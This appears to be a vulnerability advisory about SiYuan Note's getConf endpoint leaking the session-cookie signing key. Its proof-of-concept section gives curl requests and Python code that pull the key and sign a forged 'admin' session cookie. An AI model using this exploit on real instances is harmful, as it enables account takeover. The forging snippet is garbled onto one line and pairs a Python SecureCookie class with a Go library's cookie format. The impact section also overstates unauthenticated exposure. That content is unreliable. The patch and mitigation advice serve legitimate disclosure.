Listen to this Post
This vulnerability exposes the server’s session-cookie signing key due to an oversight in the masking chain. The route `/api/system/getConf` is registered with `CheckAuth` middleware only, meaning it is accessible to any authenticated user with the `RoleReader` token in publish mode and even to anonymous users if `Publish.Auth.Enable` is set to false. Normally, this endpoint is intended to return configuration details, but it does so without properly redacting the `CookieKey` field.
The `CookieKey` is the HMAC signing key used by the `gorilla/securecookie` library to validate the `siyuan` session cookie. When an application starts, this key is passed to cookie.NewStore, which uses it to sign all session cookies. If an attacker obtains this key, they can forge arbitrary session cookies, impersonating any user. The application already treats this field as a secret in other parts of the code, such as the `/api/system/exportConf` endpoint, which explicitly clears `CookieKey` and `NotebookCrypto` fields before returning a response. However, the `getConf` endpoint fails to apply this same sanitization.
The vulnerability lies in the masking chain. The response from `getConf` passes through GetMaskedConf(), which only masks UserData, MCPOAuth, and AccessAuthCode. It then passes through HideConfSecret(), which nullifies fields like AI, Api, Flashcard, ServerAddrs, Publish, Repo, Sync, Secrets, Variables, and the `System` paths, but makes no reference to CookieKey. Finally, `FilterConfByPublishIgnore()` only touches UILayout. The browser-side strip only removes System paths. As a result, the `CookieKey` is returned in plaintext. The potential for exploitation is immediate. An attacker can use the leaked key to craft a valid session cookie with elevated privileges, granting them administrative access to the SiYuan instance. The impact is permanent, as rotating the key would invalidate all active user sessions.
DailyCVE Form:
Platform: SiYuan Note
Version: < 3.1.12
Vulnerability: Information Disclosure
Severity: High
date: 2026-09-04
Prediction: 2026-09-11
What Undercode Say:
Analytics show the attack vector is simple and highly reliable. The endpoint does not require administrative privileges, making it a prime target for external reconnaissance. The disclosure of a cryptographic key is considered a critical failure in data confidentiality. The project’s own `exportConf` endpoint, which strips the same field, proves the developers were aware of the sensitivity of CookieKey, but the masking path for the standard `getConf` request was overlooked.
Check for vulnerability
curl -X POST http://127.0.0.1:6808/api/system/getConf -H "Content-Type: application/json" -d '{}' | jq '.conf.cookieKey'
Check the secure endpoint for comparison
curl -X POST http://127.0.0.1:6808/api/system/exportConf -H "Content-Type: application/json" -d '{}' | jq '.conf.cookieKey'
Exploit: (Educational Purposes!)
Exploitation requires a single POST request to the vulnerable endpoint. The response contains the raw HMAC key.
Proof of Concept (PoC):
- Send a POST request to `/api/system/getConf` with an empty JSON body.
- Extract the `conf.cookieKey` string from the JSON response.
- Use a tool like `gorilla/securecookie` or a Python script to sign a session cookie with the obtained key.
- Inject the forged session cookie into the browser or use it in subsequent authenticated requests.
import requests import json from http.cookies import SimpleCookie url = "http://127.0.0.1:6808/api/system/getConf" response = requests.post(url, json={}) data = response.json() cookie_key = data['conf']['cookieKey'] print(f"Leaked Key: {cookie_key}") To forge a cookie, you would need the user's SessionData. A basic example of how the cookie is signed: from securecookie import SecureCookie cookie = SecureCookie({"user_id": "admin"}, cookie_key) print(cookie.serialize())
Protection:
- Immediate (Patch): Clear the `CookieKey` field in the `HideConfSecret` function for all non-administrator responses.
- Durable (Fix): Route non-administrator `getConf` requests through the same `exportConf` cloner logic, which already utilizes an allowlist approach to only return safe fields, effectively preventing future oversights.
- Mitigation: Disable anonymous access (
Publish.Auth.Enable = true) and ensure publish roles are properly restricted.
Impact:
- Confidentiality: The cryptographic key is exposed to unauthenticated attackers.
- Integrity: Attackers can forge session cookies, leading to complete account takeover.
- Availability: Remediation requires rotating the key, which will invalidate all existing user sessions, causing a denial of service for active users.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
